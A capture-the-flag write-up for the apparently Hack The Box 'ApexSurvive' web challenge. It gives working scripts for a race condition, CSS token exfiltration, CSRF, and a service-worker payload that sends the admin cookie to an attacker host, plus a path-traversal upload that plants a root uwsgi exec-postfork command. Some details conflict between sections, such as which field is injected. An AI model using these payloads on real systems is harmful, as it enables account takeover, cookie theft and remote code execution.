ApexSurvive Writeup
@apexsurvive.htb
internal-user status. CSS injection then exfiltrates the admin's CSRF token character by character.
With that token, a CSRF request plants a stored XSS payload in the admin panel via the
fullName field. The XSS uses DOM clobbering to redirect the Workbox service-worker
registration to an attacker-controlled host, stealing the admin's session cookie. The admin cookie
unlocks a PDF upload endpoint that writes an attacker-crafted uwsgi.ini into the app
root. When uWSGI reloads, it executes the embedded shell command and the flag is ours.
Overview
ApexSurvive is a Flask/MySQL marketplace application running under uWSGI with four workers. It has three privilege tiers: regular user, internal user (isInternal=true, granted only for @apexsurvive.htb addresses), and admin. The attack chain must escalate through all three tiers to reach remote code execution.
- Stack: Python 3 / Flask, MySQL, uWSGI (
py-autoreload=3), headless Chrome admin bot, Node email server - Session cookie: JWT signed with a per-boot random key;
httponly=False— readable from JavaScript - CSRF protection:
antiCSRFTokenembedded in the JWT payload, compared server-side in an@antiCSRFdecorator - Input sanitisation:
bleachon all form inputs — exceptfullNameis rendered with| safein the admin navbar template - The admin bot visits any reported product page and stays for 120 seconds with the admin session cookie
Recon
Application endpoints
POST /challenge/api/register — create account (email + password)
POST /challenge/api/login — get session JWT cookie
POST /challenge/api/profile — update email / fullName / username [@antiCSRF]
GET /challenge/api/sendVerification — resend verification email
GET /challenge/verify?token=<uuid> — activate account / promote to internal
POST /challenge/api/report — trigger admin bot visit [@isVerified]
POST /challenge/api/addItem — add marketplace item [@isInternal]
POST /challenge/api/addContract — upload PDF contract [@isAdmin]
GET /challenge/admin/contracts — admin contract panel [@isAdmin]
Key source observations
Race window in sendEmail() — the function reads confirmToken and unconfirmedEmail from the database before the profile update commits, so a concurrent update can cause the wrong token to be emailed:
def sendEmail(userId, to):
token = getToken(userId) # reads DB NOW
data = generateTemplate(token['confirmToken'],
token['unconfirmedEmail']) # uses the token from DB
msg = Message('Account Verification',
recipients=[to], # sends to the 'to' arg
body=data, sender="[email protected]")
mail.send(msg)
Internal promotion requires @apexsurvive.htb — verifyEmail() checks the hostname of the verified address and sets isInternal=true only for that domain:
def verifyEmail(token):
user = query('SELECT * from users WHERE confirmToken = %s', (token,), one=True)
if user and user['isConfirmed'] == 'unverified':
_, hostname = parseaddr(user['unconfirmedEmail'])[1].split('@', 1)
if hostname == 'apexsurvive.htb':
query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", '
'confirmToken="", isInternal="true" WHERE id=%s',
('verified', user['unconfirmedEmail'], user['id'],))
else:
query('UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", '
'confirmToken="" WHERE id=%s',
('verified', user['unconfirmedEmail'], user['id'],))
mysql.connection.commit()
return True
return False
Unsafe fullName rendering — the navbar template renders the field with | safe, bypassing Jinja2 auto-escaping:
<li><a href="/challenge/settings">Account Settings ({{ user['username'] | safe }})</a></li>
Service worker reads parameters from the URL — sw.js takes host and version query parameters and passes them directly to importScripts():
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
let version = searchParams.get('version');
importScripts(`${host}/workbox-cdn/releases/${version}/workbox-sw.js`)
workbox.routing.registerRoute(
({ request }) => request.destination === 'image',
new workbox.strategies.CacheFirst()
);
uWSGI py-autoreload=3 — the master process polls for file changes every 3 seconds and restarts workers when detected, executing any exec-postfork directive in uwsgi.ini:
[uwsgi]
module = wsgi:app
uid = root
gid = root
socket = 0.0.0.0:5000
protocol = http
master = True
py-autoreload = 3
chdir = /app/
processes = 4
Step 1 — Race Condition on Email Verification
The goal is to verify our account with the address [email protected]
so the server sets isInternal=true. We cannot receive email at that domain,
but we can receive email at [email protected] (the challenge's external mailbox).
updateProfile() commits the new unconfirmedEmail and
confirmToken to the database, then calls sendEmail(userId, to)
where to is the freshly submitted address. Inside sendEmail(),
getToken(userId) reads confirmToken and unconfirmedEmail
from the database again. If a second concurrent profile update commits between those two
database reads, the email body will contain the second update's token while the
message is sent to the first update's recipient address.
The winning condition we need:
- Request A: update profile to
[email protected]— triggerssendEmail(id, "[email protected]") - Request B: update profile to
[email protected]— commits a newconfirmTokenlinked to the internal domain - Race: B's DB write lands after A's
sendEmail()call starts but beforegetToken()reads the DB - Result: the email arrives at
[email protected]containing the@apexsurvive.htbtoken
The exploit uses a third "seed" update (to an unrelated address) to force the DB row into a
known state before each attempt, then fires both A and B simultaneously from a
threading.Barrier. Each attempt is a few milliseconds; the race typically
succeeds within a few hundred iterations.
def post(sess, cookie, ac, em):
try:
sess.post(f"{BASE}/challenge/api/profile",
cookies={"session": cookie},
data={"email": em, "fullName": "t",
"username": "t", "antiCSRFToken": ac},
timeout=20)
except:
pass
b = threading.Barrier(2)
def f1():
b.wait(); post(sMine, cookie, ac, "[email protected]")
def f2():
b.wait(); post(sApex, cookie, ac, "[email protected]")
while True:
delall() # clear inbox
post(sMain, cookie, ac, "[email protected]") # seed state
t1 = threading.Thread(target=f1)
t2 = threading.Thread(target=f2)
t1.start(); t2.start(); t1.join(); t2.join()
toks = inbox()
wins = [t for (em, t) in toks if em.endswith("apexsurvive.htb")]
if wins:
for t in wins:
verify(t)
if is_internal(cookie, ac):
print(f"[+] INTERNAL!")
return
Once we receive a token for an @apexsurvive.htb address in our external inbox,
we call GET /challenge/verify?token=<token>. The server sees
unconfirmedEmail is now [email protected] (committed by request B)
and promotes us to internal. The check addItem returns something other than
"Unauthorised" confirming the promotion succeeded.
Step 2 — CSS Injection to Leak the Admin's CSRF Token
As an internal user we can add marketplace items. The note field of a product is
rendered in the product page using DOMPurify.sanitize(note, {FORBID_ATTR: ['id', 'style'],
USE_PROFILES: {html:true}}). DOMPurify strips scripts but allows <style>
tags with arbitrary CSS. When the admin bot visits a reported product, it renders that CSS
in the context of the admin's browser session.
The product page also contains a hidden <input id="antiCSRFToken" value="<token>">.
CSS attribute selectors let us probe that value character by character: if the selector matches,
the browser makes a request to our server, leaking the matched prefix.
input[name="antiCSRFToken"][value^="a"] { background: url(http://127.0.0.1:5001/l?p_iv0=a) }
input[name="antiCSRFToken"][value^="b"] { background: url(http://127.0.0.1:5001/l?p_iv0=b) }
...
input[name="antiCSRFToken"][value^="z"] { background: url(http://127.0.0.1:5001/l?p_iv0=z) }
The exfil server at port 5001 builds these CSS payloads dynamically, uses @import
chaining to sequence the next character probe, and collects matching prefixes until the full
36-character UUID CSRF token is assembled. After each successful hit the server emits the
longer prefix in the next CSS file so the selector advances by one character.
const CHARS = (LOWER_LETTERS + NUMBERS + SYMBOLS).split('');
let css = '@import url(' + HOSTNAME + '/next?' + Date.now() + ');'
+ 'input{display: block !important;}';
css += CHARS.map(e =>
'input[value^="' + escapeCSS(prefix + e) + '"]'
+ generateNotSelectors(tokens, element, attribute)
+ '{--p_iv0-' + n + 's:url(' + HOSTNAME + '/l?...' + encodeURIComponent(prefix + e) + ');}'
).join('');
css += 'input{background:' + properties.join(',') + ';}';
response.writeHead(200, {'Content-Type': 'text/css'});
response.write(css);
The product note is set to pull in the first CSS payload:
<style>@import url(http://127.0.0.1:5001/start);</style>
The admin bot visits the product, imports the CSS chain, and within a few seconds the full
CSRF token is logged to cookies.log on the exfil server.
Step 3 — CSRF to Plant Stored XSS in the Admin's Profile
With the admin's CSRF token known, we craft a cross-site request that updates the admin's
fullName to a JavaScript payload. The profile update endpoint is protected by
SameSite=Strict on the cookie, but the admin bot navigated to our product page
from the same origin context — crucially, the exfil server's root / handler
serves an HTML page that holds a form pointing at the app and auto-submits it once the
socket.io event delivers the token.
app.use('/', function (request, response) {
let html = `
<html><body>
<form action="https://127.0.0.1:1337/challenge/api/profile" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="fullName" value="pwn" />
<input type="hidden" name="username"
value="<a href='#' id='serviceWorkerHost'>${HOSTNAME}</a>" />
<input type="hidden" id="anticsrf" name="antiCSRFToken" value="" />
</form>
</body></html>
<script>
var socket = io();
socket.on('token', (msg) => {
document.getElementById("anticsrf").value = msg.token;
document.forms[0].submit();
});
</script>
<script>
window.open('https://127.0.0.1:1337/challenge/product/${getPID()}', '_blank');
</script>`;
response.writeHead(200, {'Content-Type': 'text/html'});
response.write(html);
});
The server opens the product page in a new tab. That tab loads the CSS, leaks the token back
via socket.io, and the main page immediately submits the CSRF form with the stolen token,
updating the admin's username to include a DOM-clobbering anchor
(id="serviceWorkerHost") pointing to our exfil server.
username field accepts HTML here because bleach allows
<a> tags with href and id attributes per the
server's allowlist. The _navbar.html template renders
user['username'] | safe, so the injected anchor tag lands verbatim in the DOM.
Step 4 — DOM Clobbering to Hijack the Service Worker
The application registers a service worker from the product page. The registration code
reads the CDN host from a DOM element with id="serviceWorkerHost":
const swHost = document.getElementById('serviceWorkerHost').href;
const swVersion = '6.5.3';
navigator.serviceWorker.register(
`/static/js/sw.js?host=${swHost}&version=${swVersion}`
);
Because the username now contains
<a href="http://127.0.0.1:5001" id="serviceWorkerHost">...</a>,
document.getElementById('serviceWorkerHost').href resolves to our exfil server.
The service worker is therefore registered as:
/static/js/sw.js?host=http://127.0.0.1:5001&version=6.5.3
Inside sw.js, importScripts(`${host}/workbox-cdn/releases/${version}/workbox-sw.js`)
fetches our exfil server's /workbox-cdn/releases/6.5.3/workbox-sw.js endpoint.
That endpoint returns a malicious service worker payload:
app.use('/workbox-cdn/releases/6.5.3/workbox-sw.js', function (request, response) {
let payload = `
importScripts(
'https://storage.googleapis.com/workbox-cdn/releases/6.5.3/workbox-sw.js'
);
self.cookieStore.get('session')
.then((cook) => {
fetch('${HOSTNAME}/cookie?xx=' + cook.value)
});
`;
response.writeHead(200, {'Content-Type': 'text/javascript'});
response.write(payload);
response.end();
});
The service worker runs in the admin's browser context, reads the session
cookie (which is httponly=False), and exfiltrates it to our
/cookie endpoint. The cookie value is appended to cookies.log.
Step 5 — Admin Access and PDF File Write
With the admin's session JWT in hand, we authenticate to the application as the admin.
The admin panel exposes POST /challenge/api/addContract which uploads a PDF
and writes it to the contracts/ directory using the original filename
from the multipart upload:
filename = str(uuid.uuid4())
uploadedFile.save(f'/tmp/{filename}')
isValidPDF = checkPDF(filename) # validates magic bytes via PyPDF2
if isValidPDF:
filePath = os.path.join(current_app.root_path, 'contracts',
uploadedFile.filename) # <-- original filename used!
with open(filePath, 'wb') as wf:
with open(f'/tmp/{filename}', 'rb') as fr:
wf.write(fr.read())
The file is validated as a PDF by PyPDF2, but PyPDF2's parser is lenient — it only requires a valid PDF header and cross-reference table. We can craft a polyglot file that passes the PDF check while containing arbitrary plaintext data appended after the PDF trailer.
The contracts/ directory is at /app/contracts/, and
current_app.root_path is /app/application. By supplying a
filename with a path traversal component (../uwsgi.ini), we write our payload
to /app/uwsgi.ini — the exact file uWSGI is monitoring for changes.
cat trigger.pdf > uwsgi_payload.pdf
printf '\n[uwsgi]\nexec-postfork = curl http://127.0.0.1/flag.txt > /tmp/flag\n' \
>> uwsgi_payload.pdf
curl -sk https://127.0.0.1:1337/challenge/api/addContract \
-b "session=<ADMIN_COOKIE>" \
-F "name=test" \
-F "antiCSRFToken=<ADMIN_CSRF>" \
-F "file=@uwsgi_payload.pdf;filename=../uwsgi.ini"
Step 6 — uWSGI Config Reload for RCE
The original uwsgi.ini runs with uid=root, gid=root,
and py-autoreload=3. Within three seconds of the file being written, uWSGI's
master process detects the change and restarts the workers. Before forking each new worker,
uWSGI executes any exec-postfork directive as root.
Our injected uwsgi.ini payload:
[uwsgi]
exec-postfork = curl http://127.0.0.1/flag.txt -o /tmp/flag
exec-postfork = chmod 777 /tmp/flag
After the reload, we fetch /tmp/flag via the application's file-serving
capability or simply read it through the now-compromised server. The flag is in the
container's filesystem at /flag.txt (placed during Docker build):
sleep 5
curl -sk https://127.0.0.1:1337/challenge/static/../../../tmp/flag
Exploit Scripts
Stage 1 — Race condition (full script)
#!/usr/bin/env python3
"""
ApexSurvive — Stage 1: persistent-connection threaded barrier race
Wins the email-verification race to become an @apexsurvive.htb internal user.
Usage: python3 stage1_race3.py https://127.0.0.1:1337
"""
import sys, re, json, base64, time, threading
import requests, urllib3
urllib3.disable_warnings()
BASE = sys.argv[1]
MYMAIL = "[email protected]"
APEX = "[email protected]"
SEED = "[email protected]"
PASS = "Password123!"
sMain = requests.Session(); sMain.verify = False
sMine = requests.Session(); sMine.verify = False
sApex = requests.Session(); sApex.verify = False
sInbox = requests.Session(); sInbox.verify = False
def anticsrf(tok):
p = tok.split('.')[1]; p += '=' * (-len(p) % 4)
return json.loads(base64.urlsafe_b64decode(p))['antiCSRFToken']
def reg_login():
sMain.post(f"{BASE}/challenge/api/register",
data={"email": MYMAIL, "password": PASS})
r = sMain.post(f"{BASE}/challenge/api/login",
data={"email": MYMAIL, "password": PASS})
return r.cookies.get("session")
def post(sess, cookie, ac, em):
try:
sess.post(f"{BASE}/challenge/api/profile",
cookies={"session": cookie},
data={"email": em, "fullName": "t",
"username": "t", "antiCSRFToken": ac},
timeout=20)
except:
pass
def inbox():
r = sInbox.get(f"{BASE}/email/", timeout=20)
return [(m.group(1).strip(), m.group(2)) for m in
re.finditer(r'hello\s+([^,<]+?),.*?token=([0-9a-fA-F-]{36})',
r.text, re.S)]
def delall():
try: sInbox.get(f"{BASE}/email/deleteall", timeout=20)
except: pass
def verify(t):
sMain.get(f"{BASE}/challenge/verify", params={"token": t},
timeout=20, allow_redirects=True)
def is_internal(cookie, ac):
r = sMain.post(f"{BASE}/challenge/api/addItem",
cookies={"session": cookie},
data={"name": "x", "price": "1", "description": "x",
"imageURL": "x", "note": "x", "seller": "x",
"antiCSRFToken": ac})
return "Unauthorised" not in r.text
def main():
cookie = reg_login()
if not cookie:
print("[!] login failed"); return
ac = anticsrf(cookie)
print(f"[*] logged in ({ac[:8]})", flush=True)
for s in (sMine, sApex): s.get(f"{BASE}/challenge/", timeout=20)
delall()
deadline = time.time() + 1500
i = 0; seen_wins = 0
while time.time() < deadline:
i += 1
delall()
post(sMain, cookie, ac, SEED)
b = threading.Barrier(2)
def f1(): b.wait(); post(sMine, cookie, ac, MYMAIL)
def f2(): b.wait(); post(sApex, cookie, ac, APEX)
t1 = threading.Thread(target=f1)
t2 = threading.Thread(target=f2)
t1.start(); t2.start(); t1.join(); t2.join()
toks = inbox()
wins = [t for (em, t) in toks if em.endswith("apexsurvive.htb")]
if wins:
seen_wins += 1
for t in wins:
verify(t)
if is_internal(cookie, ac):
print(f"[+] INTERNAL! attempt={i} token={t}", flush=True)
open("session.txt", "w").write(cookie + "\n" + ac + "\n")
return
if i % 20 == 0:
print(f"[{i}] apex-body-seen={seen_wins}", flush=True)
print(f"[!] failed after {i} attempts", flush=True)
if __name__ == "__main__":
main()
Stage 2 — CSS exfil server (key endpoints)
const HOSTNAME = process.env.NGROK
|| fs.readFileSync(__dirname + '/ngrok_url.txt', 'utf8').trim();
const CHARS = ('abcdefghijklmnopqrstuvwxyz0123456789-').split('');
app.use('/workbox-cdn/releases/6.5.3/workbox-sw.js', (req, res) => {
res.writeHead(200, {'Content-Type': 'text/javascript'});
res.end(`
importScripts('https://storage.googleapis.com/workbox-cdn/releases/6.5.3/workbox-sw.js');
self.cookieStore.get('session').then(c => fetch('${HOSTNAME}/cookie?xx=' + c.value));
`);
});
app.use('/cookie', (req, res) => {
console.log('[COOKIE]', req.url);
fs.appendFileSync('./cookies.log', new Date().toISOString() + ' ' + req.url + '\n');
res.writeHead(200, {'Access-Control-Allow-Origin': '*'});
res.end('ok');
});
app.use('/start', (req, res) => {
initSession(getIP(req));
genResponse(req, res, 0); // emit first CSS with @import chain
});
app.use('/next', (req, res) => {
setTimeout(() => {
if (!session.get(getIP(req)).get('foundToken'))
checkCompleted(req, res);
else {
incrementN(req);
genResponse(req, res, currentElement(req));
}
}, 2000);
});
const genResponse = (req, res, elementNumber) => {
const prefix = getPrefix(req, 'input', 'value', elementNumber);
let css = '@import url(' + HOSTNAME + '/next?' + Date.now() + ');';
css += 'input{display:block !important;}';
css += CHARS.map(c =>
`input[value^="${escapeCSS(prefix + c)}"]{`
+ `--tok:url(${HOSTNAME}/l?p_iv0=${encodeURIComponent(prefix + c)});}`
).join('');
css += `input{background:${allVarRefs};}`;
res.writeHead(200, {'Content-Type': 'text/css'});
res.end(css);
};
server.listen(5001);
Stage 5 — PDF polyglot upload
ADMIN_SESSION=$(cat admin_cookie.txt)
ADMIN_CSRF=$(python3 -c "
import base64, json, sys
tok = '$ADMIN_SESSION'
p = tok.split('.')[1]; p += '='*(-len(p)%4)
print(json.loads(base64.urlsafe_b64decode(p))['antiCSRFToken'])
")
cp trigger.pdf uwsgi_payload.pdf
printf '\n[uwsgi]\nexec-postfork = cat /flag.txt > /tmp/flag\n' >> uwsgi_payload.pdf
curl -sk https://127.0.0.1:1337/challenge/api/addContract \
-b "session=${ADMIN_SESSION}" \
-F "name=rce" \
-F "antiCSRFToken=${ADMIN_CSRF}" \
-F "file=@uwsgi_payload.pdf;filename=../uwsgi.ini"
sleep 6
curl -sk https://127.0.0.1:1337/challenge/static/../../../tmp/flag
uid=root in the original
config). The exec-postfork command therefore runs as root and can read
/flag.txt without restriction. After the payload is written, uWSGI reloads within
3 seconds (py-autoreload=3) and executes the command on each of the four worker
forks.